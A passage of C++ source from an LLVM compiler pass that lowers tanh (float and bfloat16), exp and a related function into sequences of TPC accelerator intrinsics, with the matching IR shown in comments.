ConstantVector::getSplat(64, ConstantInt::get(I32Type, 2139095040)));\n\n // %and4.i.i = and <64 x i32> %3, <i32 2139095040,\n auto And4ii = Builder.CreateAnd(\n BitCast,\n ConstantVector::getSplat(64, ConstantInt::get(I32Type, 2139095040)));\n\n // %sub5.i.i = sub nsw <64 x i32> %and.i.i, %and4.i.i\n auto Sub5ii = Builder.CreateNSWSub(Andii, And4ii);\n\n // %16 = bitcast <64 x i32> %sub5.i.i to <64 x float>\n auto BitCast3 = Builder.CreateBitCast(Sub5ii, Float64Type);\n\n // %17 = tail call <64 x float> @llvm.tpc.form.fp.num\n // (<64 x float> %16, <64 x float> %2, <64 x float> %14, i8 0, i32 256,\n // <64 x float> undef, i1 true, i1 false)\n Types = {Float64Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP1 = Builder.CreateCall(\n Intrinsic, {BitCast3, Operand, Mac2, Sw10, ConstantInt::get(I32Type, 256),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %18 = tail call <64 x float> @llvm.tpc.sel.less\n // <64 x float> %2, float 0.000000e+00, <64 x float> <float -0.000000e+00\n // <64 x float> zeroinitializer, i8 0, i32 0, <64 x float> undef, i1 true, i1\n // false\n Types = {Float64Type, F32Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_less, FType),\n FType)\n .getCallee());\n auto SelLess = Builder.CreateCall(\n Intrinsic,\n {Operand, ConstantFP::get(F32Type, 0.000000e+00),\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -0.000000e+00)),\n Constant::getNullValue(Float64Type), Sw10, Sw2,\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %19 = tail call <64 x float> @llvm.tpc.sel.leq\n // (<64 x i32> %sub5.i.i, i32 -1065353216, <64 x float> %18, <64 x float> %17,\n // i8 2, i32 0, <64 x float> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_leq, FType),\n FType)\n .getCallee());\n auto SelLeq1 = Builder.CreateCall(\n Intrinsic, {Sub5ii, ConstantInt::get(I32Type, -1065353216), SelLess,\n FormFP1, ConstantInt::get(I8Type, 2), Sw2,\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %20 = tail call <64 x float> @llvm.tpc.fclass.\n // <64 x float> %2, i8 0, i32 0, <64 x float> undef, i1 true, i1 false\n Types = {Float64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto FClass = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %21 = tail call <64 x float> @llvm.tpc.calc.fp.special\n // <64 x float> %20, <64 x float> undef, i8 0, i32 0, <64 x float> %19, i1\n // true, i1 false\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto CalcFP =\n Builder.CreateCall(Intrinsic, {FClass, UndefValue::get(Float64Type), Sw10,\n Sw2, SelLeq1, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(CalcFP);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceTanhWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw10 = ConstantInt::get(I8Type, 0);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <64 x float> @llvm.fabs.v64f32(<64 x float> %2)\n auto FType = FunctionType::get(Float64Type, {Operand->getType()}, false);\n auto Intrinsic =\n cast<Function>(InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::fabs, FType), FType)\n .getCallee());\n auto Fabs = Builder.CreateCall(Intrinsic, {Operand});\n\n // %4 = bitcast <64 x float> %3 to <64 x i32>\n auto BitCast = Builder.CreateBitCast(Fabs, Int64Type);\n\n // %5 = tail call <64 x i32> @llvm.tpc.extract.exp\n // (<64 x float> %2, i8 0, i32 0, <64 x i32> undef, i1 true, i1 false)\n SmallVector<Type *, 6> Types = {Float64Type, I8Type, I32Type,\n Int64Type, I1Type, I1Type};\n FType = FunctionType::get(Int64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw10, Sw2, UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %6 = tail call <256 x i1> @llvm.tpc.cmp.less\n // (<64 x i32> %5, i32 0, i8 2, i32 0, <256 x i1> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, I8Type, I32Type, Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_less, FType),\n FType)\n .getCallee());\n auto CmpLess = Builder.CreateCall(\n Intrinsic, {ExtractExp, Sw2, ConstantInt::get(I8Type, 2), Sw2,\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %7 = tail call <128 x i32> @llvm.tpc.get.lut.entry\n // (<64 x float> %3, i8 17, i8 0, i32 8192, <128 x i32> undef, i1 true, i1\n // false)\n Types = {Float64Type, I8Type, I8Type, I32Type, Int128Type, I1Type, I1Type};\n FType = FunctionType::get(Int128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry = Builder.CreateCall(\n Intrinsic, {Fabs, ConstantInt::get(I8Type, 17), Sw10,\n ConstantInt::get(I32Type, 8192), UndefValue::get(Int128Type),\n Predicate, Polarity});\n\n // %8 = shufflevector <128 x i32> %7, 0...63\n auto Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffle1 =\n Builder.CreateShuffleVector(LutEntry, UndefValue::get(Int128Type), Mask);\n\n // %9 = shufflevector <128 x i32> %7, 64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffle2 =\n Builder.CreateShuffleVector(LutEntry, UndefValue::get(Int128Type), Mask);\n\n // %10 = bitcast <64 x i32> %9 to <64 x float>\n auto BitCast1 = Builder.CreateBitCast(Shuffle2, Float64Type);\n\n // %sub.i.i = fsub <64 x float> %3, %10\n auto Subii = Builder.CreateFSub(Fabs, BitCast1);\n\n // %11 = tail call <64 x float> @llvm.tpc.lookup.1c\n // (<64 x i32> %8, i32 0, i32 0, <64 x float> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, Sw2, Sw2, UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %12 = tail call <128 x float> @llvm.tpc.lookup.2c\n // (<64 x i32> %8, i32 0, i32 0, <128 x float> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, I32Type, Float128Type, I1Type, I1Type};\n FType = FunctionType::get(Float128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup2 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, Sw2, Sw2, UndefValue::get(Float128Type), Predicate, Polarity});\n\n // %13 = shufflevector <128 x float> %12 0...63\n Mask = createSequentialMask(Builder, 0, 64, 0);\n auto Shuffle3 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %14 = shufflevector <128 x float> %12 64...127\n Mask = createSequentialMask(Builder, 64, 64, 0);\n auto Shuffle4 =\n Builder.CreateShuffleVector(Lookup2, UndefValue::get(Float128Type), Mask);\n\n // %15 = tail call <64 x float> @llvm.tpc.mac\n // (<64 x float> %14, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %13, i1\n // true, i1 false)\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle4, Subii, Sw10, Sw2, Shuffle3, Predicate, Polarity});\n\n // %16 = tail call <64 x float> @llvm.tpc.mac\n // (<64 x float> %15, <64 x float> %sub.i.i, i8 0, i32 0, <64 x float> %11, i1\n // true, i1 false)\n auto Mac2 = Builder.CreateCall(\n Intrinsic, {Mac1, Subii, Sw10, Sw2, Lookup1, Predicate, Polarity});\n\n // %17 = tail call <64 x float> @llvm.tpc.mul\n // (<64 x float> %16, <64 x float> %3, i8 0, i32 0, <64 x float> %16, <256 x\n // i1> %6, i1 false)\n Types = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, Char256Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mul, FType), FType)\n .getCallee());\n auto Mul1 = Builder.CreateCall(\n Intrinsic, {Mac2, Fabs, Sw10, Sw2, Mac2, CmpLess, Polarity});\n\n // %18 = tail call <256 x i1> @llvm.tpc.cmp.geq\n // (<64 x float> %3, float 8.000000e+00, i8 0, i32 0, <256 x i1> undef, i1\n // true, i1 false)\n Types = {Float64Type, F32Type, I8Type, I32Type, Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_geq, FType),\n FType)\n .getCallee());\n auto CmpGeq = Builder.CreateCall(\n Intrinsic, {Fabs, ConstantFP::get(F32Type, 8.000000e+00), Sw10, Sw2,\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %19 = tail call <64 x float> @llvm.tpc.sel.less\n // (<64 x float> %3, float 9.000000e+00, <64 x float>(0.999999881f) <64 x\n // float> %17, i8 0, i32 0, <64 x float> %17, <256 x i1> %18, i1 false)\n Types = {Float64Type, F32Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, Char256Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_less, FType),\n FType)\n .getCallee());\n auto SelLess = Builder.CreateCall(\n Intrinsic,\n {Fabs, ConstantFP::get(F32Type, 9.000000e+00),\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 0.999999881f)),\n Mul1, Sw10, Sw2, Mul1, CmpGeq, Polarity});\n\n // %20 = tail call <64 x float> @llvm.tpc.sel.geq\n // (<64 x float> %3, float 9.000000e+00, <64 x float>(1.000000e+00), <64 x\n // float> %19, i8 0, i32 0, <64 x float> undef, i1 true, i1 false)\n Types = {Float64Type, F32Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_geq, FType),\n FType)\n .getCallee());\n auto SelGeq = Builder.CreateCall(\n Intrinsic,\n {Fabs, ConstantFP::get(F32Type, 9.000000e+00),\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.000000e+00)),\n SelLess, Sw10, Sw2, UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %21 = tail call <64 x float> @llvm.tpc.form.fp.num\n // (<64 x float> %20, <64 x float> %2, <64 x float> %20, i8 0, i32 0, <64 x\n // float> undef, i1 true, i1 false)\n Types = {Float64Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP = Builder.CreateCall(\n Intrinsic, {SelGeq, Operand, SelGeq, Sw10, Sw2,\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %22 = tail call <64 x float> @llvm.tpc.sel.grt\n // (<64 x i32> %4, i32 2139095040, <64 x float>(2147483647f), <64 x float>\n // %21, i8 3, i32 0, <64 x float> undef, i1 true, i1 false)\n Types = {Int64Type, I32Type, Float64Type, Float64Type, I8Type,\n I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType),\n FType)\n .getCallee());\n auto SelGrt = Builder.CreateCall(\n Intrinsic,\n {BitCast, ConstantInt::get(I32Type, 2139095040),\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 2147483647)),\n FormFP, ConstantInt::get(I8Type, 3), Sw2, UndefValue::get(Float64Type),\n Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(SelGrt);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16TanhWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw11 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // %3 = tail call <128 x bfloat> @llvm.tpc.fclass\n // (<128 x bfloat> %2, i8 1, i32 0, <128 x bfloat> undef, i1 true, i1 false)\n SmallVector<Type *, 10> Types{Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Bfloat128Type, Types, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_fclass, FType),\n FType)\n .getCallee());\n auto FClass = Builder.CreateCall(Intrinsic, {Operand, Sw11, Sw2,\n UndefValue::get(Bfloat128Type),\n Predicate, Polarity});\n\n // %4 = tail call <128 x bfloat> @llvm.tpc.abs\n // (<128 x bfloat> %2, i8 1, i32 0, <128 x bfloat> undef, i1 true, i1 false)\n Types = {Bfloat128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_abs, FType), FType)\n .getCallee());\n auto Fabs = Builder.CreateCall(Intrinsic, {Operand, Sw11, Sw2,\n UndefValue::get(Bfloat128Type),\n Predicate, Polarity});\n\n // %5 = tail call <128 x i16> @llvm.tpc.extract.exp\n // (<128 x bfloat> %2, i8 1, i32 0, <128 x i16> undef, i1 true, i1 false)\n Types = {Bfloat128Type, I8Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_extract_exp, FType), FType)\n .getCallee());\n auto ExtractExp = Builder.CreateCall(\n Intrinsic,\n {Operand, Sw11, Sw2, UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %6 = tail call <256 x i1> @llvm.tpc.cmp.less\n // (<128 x i16> %5, i16 0, i8 7, i32 0, <256 x i1> undef, i1 true, i1 false)\n Types = {Short128Type, I16Type, I8Type, I32Type, Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_less, FType),\n FType)\n .getCallee());\n auto CmpLess = Builder.CreateCall(\n Intrinsic,\n {ExtractExp, ConstantInt::get(I16Type, 0), ConstantInt::get(I8Type, 7),\n Sw2, UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %7 = tail call <256 x i16> @llvm.tpc.get.lut.entry\n // (<128 x bfloat> %4, i8 4, i8 1, i32 8192, <256 x i16> undef, i1 true, i1\n // false)\n Types = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry = Builder.CreateCall(\n Intrinsic, {Fabs, ConstantInt::get(I8Type, 4),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 8192),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %8 = shufflevector <256 x i16> %7 0...127\n auto Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffle1 = Builder.CreateShuffleVector(\n LutEntry, UndefValue::get(Short256Type), Mask);\n\n // %9 = shufflevector <256 x i16> %7 128...255\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffle2 = Builder.CreateShuffleVector(\n LutEntry, UndefValue::get(Short256Type), Mask);\n\n // %10 = bitcast <128 x i16> %9 to <128 x bfloat>\n auto BitCast = Builder.CreateBitCast(Shuffle2, Bfloat128Type);\n\n // %11 = fsub <128 x bfloat> %4, %10\n auto FSub = Builder.CreateFSub(Fabs, BitCast);\n\n // %12 = tail call <128 x bfloat> @llvm.tpc.lookup.1c\n // (<128 x i16> %8, i32 425, i32 1, <128 x bfloat> zeroinitializer, i1 true,\n // i1 false)\n Types = {Short128Type, I32Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_1c, FType), FType)\n .getCallee());\n auto Lookup1 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, ConstantInt::get(I32Type, 425), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat128Type), Predicate, Polarity});\n\n // %13 = tail call <256 x bfloat> @llvm.tpc.lookup.2c\n // (<128 x i16> %8, i32 422, i32 1, <256 x bfloat> zeroinitializer, i1 true,\n // i1 false)\n Types = {Short128Type, I32Type, I32Type, Bfloat256Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat256Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto Lookup2 = Builder.CreateCall(\n Intrinsic,\n {Shuffle1, ConstantInt::get(I32Type, 422), ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat256Type), Predicate, Polarity});\n\n // %C1C2.sroa.0.256.vec.extract.i = shufflevector <256 x bfloat> %13,\n // 128...255\n Mask = createSequentialMask(Builder, 128, 128, 0);\n auto Shuffle3 = Builder.CreateShuffleVector(\n Lookup2, UndefValue::get(Bfloat256Type), Mask);\n\n // %C1C2.sroa.0.0.vec.extract.i = shufflevector <256 x bfloat> %13 0...128\n Mask = createSequentialMask(Builder, 0, 128, 0);\n auto Shuffle4 = Builder.CreateShuffleVector(\n Lookup2, UndefValue::get(Bfloat256Type), Mask);\n\n // %14 = tail call <128 x bfloat> @llvm.tpc.mac\n // (<128 x bfloat> %C1C2.sroa.0.256.vec.extract.i, <128 x bfloat> %11, i8 1,\n // i32 0, <128 x bfloat> %C1C2.sroa.0.0.vec.extract.i, i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto Mac1 = Builder.CreateCall(\n Intrinsic, {Shuffle3, FSub, Sw11, Sw2, Shuffle4, Predicate, Polarity});\n\n // %15 = tail call <128 x bfloat> @llvm.tpc.mac\n // (<128 x bfloat> %14, <128 x bfloat> %11, i8 1, i32 0, <128 x bfloat> %12,\n // i1 true, i1 false)\n auto Mac2 = Builder.CreateCall(\n Intrinsic, {Mac1, FSub, Sw11, Sw2, Lookup1, Predicate, Polarity});\n\n // %16 = tail call <128 x bfloat> @llvm.tpc.mul\n // (<128 x bfloat> %15, <128 x bfloat> %4, i8 1, i32 0, <128 x bfloat> %15,\n // <256 x i1> %6, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, Char256Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mul, FType), FType)\n .getCallee());\n auto Mul1 = Builder.CreateCall(\n Intrinsic, {Mac2, Fabs, Sw11, Sw2, Mac2, CmpLess, Polarity});\n\n // %17 = tail call <128 x bfloat> @llvm.tpc.sel.grt.\n // <128 x i16> %5, i16 1, <128 x bfloat> <bfloat 0xH3F80..>, 128 x bfloat>\n // %16, i8 7, i32 0, <128 x bfloat> undef, i1 true, i1 false\n Types = {Short128Type, I16Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType),\n FType)\n .getCallee());\n auto SelGrt = Builder.CreateCall(\n Intrinsic, {ExtractExp, ConstantInt::get(I16Type, 1),\n ConstantVector::getSplat(128, getBfloatValue(1.0)), Mul1,\n ConstantInt::get(I8Type, 7), Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %18 = tail call <128 x bfloat> @llvm.tpc.form.fp.num\n // (<128 x bfloat> %17, <128 x bfloat> %2, <128 x bfloat> %17, i8 1, i32 0,\n // <128 x bfloat> undef, i1 true, i1 false)\n Types = {Bfloat128Type, Bfloat128Type, Bfloat128Type, I8Type,\n I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_form_fp_num, FType), FType)\n .getCallee());\n auto FormFP = Builder.CreateCall(\n Intrinsic, {SelGrt, Operand, SelGrt, Sw11, Sw2,\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %19 = tail call <128 x bfloat> @llvm.tpc.calc.fp.special.\n // (<128 x bfloat> %3, <128 x bfloat> undef, i8 1, i32 5, <128 x bfloat> %18,\n Types = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, Types, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_calc_fp_special, FType), FType)\n .getCallee());\n auto CalcFP = Builder.CreateCall(\n Intrinsic,\n {FClass, UndefValue::get(Bfloat128Type), ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 5), FormFP, Predicate, Polarity});\n\n InstrToReplace->replaceAllUsesWith(CalcFP);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceExpWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n auto Ty = Operand->getType();\n\n SmallVector<Type *, 7> TypesMac0{Ty, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FunctionType *FType = FunctionType::get(Ty, TypesMac0, false);\n Function *Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mac, FType),\n FType)\n .getCallee());\n auto ConstLog2E = ConstantFP::get(F32Type, 1.44269502e0);\n auto ConstResult = ConstantFP::get(F32Type, 5.000000e-01);\n auto Mac0Res = Builder.CreateCall(\n Intrinsic, {Operand, ConstantVector::getSplat(64, ConstLog2E),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n ConstantVector::getSplat(64, ConstResult),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 6> TypesNearbyInt0{Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesNearbyInt0, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_nearbyint, FType), FType)\n .getCallee());\n auto NearbyInt0Res = Builder.CreateCall(\n Intrinsic,\n {Mac0Res, ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 196608),\n UndefValue::get(Float64Type), ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n\n SmallVector<Type *, 7> TypesMac1{Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesMac1, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_mac, FType),\n FType)\n .getCallee());\n auto ConstLn21 = ConstantFP::get(F32Type, 0.693359375);\n auto Mac1Res = Builder.CreateCall(\n Intrinsic,\n {NearbyInt0Res, ConstantVector::getSplat(64, ConstLn21),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 2), Operand,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto ConstLn22 = ConstantFP::get(F32Type, -2.12194440e-4);\n auto Mac2Res = Builder.CreateCall(\n Intrinsic,\n {NearbyInt0Res, ConstantVector::getSplat(64, ConstLn22),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 2), Mac1Res,\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto ConstC3 = ConstantFP::get(F32Type, 8.380148765026943e-3);\n auto ConstC4 = ConstantFP::get(F32Type, 4.191878872870153e-2);\n auto Mac3Res = Builder.CreateCall(\n Intrinsic, {Mac2Res, ConstantVector::getSplat(64, ConstC3),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n ConstantVector::getSplat(64, ConstC4),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto ConstC5 = ConstantFP::get(F32Type, 0.1666634537038239);\n auto Mac4Res = Builder.CreateCall(\n Intrinsic,\n {Mac3Res, Mac2Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), ConstantVector::getSplat(64, ConstC5),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto ConstC6 = ConstantFP::get(F32Type, 0.49998858346161135);\n auto Mac5Res = Builder.CreateCall(\n Intrinsic,\n {Mac4Res, Mac2Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), ConstantVector::getSplat(64, ConstC6),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto ConstXPlus1 = ConstantFP::get(F32Type, 1.0);\n auto Mac6Res = Builder.CreateCall(\n Intrinsic,\n {Mac5Res, Mac2Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), ConstantVector::getSplat(64, ConstXPlus1),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto Mac7Res = Builder.CreateCall(\n Intrinsic,\n {Mac6Res, Mac2Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 0), ConstantVector::getSplat(64, ConstXPlus1),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto BitCast0Res = Builder.CreateBitCast(Mac7Res, Int64Type);\n\n SmallVector<Type *, 6> TypesConvert0{Float64Type, I8Type, I32Type,\n Int64Type, I1Type, I1Type};\n FType = FunctionType::get(Int64Type, TypesConvert0, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert, FType), FType)\n .getCallee());\n auto Convert0Res = Builder.CreateCall(\n Intrinsic, {NearbyInt0Res, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 197120), UndefValue::get(Int64Type),\n ConstantInt::get(I1Type, 